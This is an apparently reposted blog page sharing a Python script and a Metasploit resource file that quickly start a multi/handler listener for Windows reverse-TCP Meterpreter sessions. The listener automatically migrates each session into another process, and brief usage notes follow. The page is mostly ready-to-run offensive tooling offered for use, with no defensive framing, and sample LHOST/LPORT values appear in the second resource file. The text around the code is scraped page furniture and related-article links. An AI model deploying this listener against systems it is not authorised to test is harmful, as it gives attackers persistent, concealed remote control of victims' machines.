博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Quickly Start Listener scripts
阅读量:6071 次
发布时间:2019-06-20

本文共 1482 字,大约阅读时间需要 4 分钟。

#!/usr/bin/python## StartListener.py# Simple python script to start a Meterpreter Listener# Auto Inject to other process# github: https://raw.github.com/obscuresec/random/master/StartListener.py import sysimport subprocess#write a resource file and call itdef build(lhost,lport):    options = "use exploit/multi/handler\n"    options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)    options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"    filewrite = file("listener.rc", "w")    filewrite.write(options)    filewrite.close()    subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait()#grab argstry:    lhost = sys.argv[1]    lport = sys.argv[2]    build(lhost,lport)#index errorexcept IndexError:    print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

 If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

 

You  can also create a file, such as "listen.rc"

use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.150set LPORT 8888set ExitOnSession falseset AutoRunScript post/windows/manage/migrateexploit -j

Then,use it to start a listen.

msfconsole -r listen.rc

 

转载地址:http://ckigx.baihongyu.com/

你可能感兴趣的文章
为什么分布式一定要有消息队列?
查看>>
高并发大容量NoSQL解决方案探索
查看>>
MySQL基础语句
查看>>
python操作sql server2008 pyodbc
查看>>
H3C AP胖转瘦方法大全
查看>>
基于tcp/ip以太网通信实现0-5v,4-20ma模拟量AI采集以及模拟量AO输出控制-综科智控...
查看>>
PHP执行系统命令的有几个常用的函数
查看>>
lnmp命令整理
查看>>
SparkStreaming基础理论
查看>>
程序员笔记|Sharding-JDBC 使用入门和基本配置
查看>>
关于安装H3c Cloud Lab的一些报错问题
查看>>
java中split()方法中以"* ^ : | , ."作为分隔符的处理方法
查看>>
我国大数据未来的发展方向
查看>>
C语言学生成绩管理系统
查看>>
powershell远程检查多个oracle数据库表空间使用率
查看>>
C链表
查看>>
Oracle教程之分析Oracle索引扫描四大类
查看>>
2016.8.23_每日IT单词
查看>>
Centos/ubuntu配置SVN服务
查看>>
lgwr,dbwr,chpk
查看>>